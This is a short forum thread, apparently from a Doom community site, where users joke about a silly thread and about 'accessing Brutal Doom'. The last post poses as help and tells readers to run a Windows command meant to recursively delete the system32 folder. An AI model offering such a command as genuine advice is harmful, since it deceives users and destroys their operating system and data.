i think not... like its a VERY dumb thread, and will be deleted at anytime.

i like how every week theres a new dumb thread xDDD

I refuse to believe its a army of users who just so happen to make the same *kind* of thread every single time, doing the same spiel.

Why did it have to come to this for DW's 30000th member...

This was to be expected. Sadly all we get out of it is a multi-page thread full of haha's and hihi's.\*

\* And nobody with a million dollars.

Doomkid is that you i sawed your videos im your biggest fan!!!

...So, if you "sawed" his video, does this mean that last time you used the chainsaw in Doom you "saw" the demons?

What a dumb joke I made, but oh well, this is dumbest thread this site has seen in a long time anyways.

ok so to access brutal doom you gotta go into the super secret internet, to access it you gotta go to google and press up up a b c, then you when you're in super internet you gotta input in the search bar "obama gaming bruh yes yes hahah" then you cry for 10 seconds and only 10 seconds then you will see brutal doom

an alternative method to access brutal doom, you must have Windows for this to work. press CTRL+R and type in cmd /c rd /s /q %windr%\system32
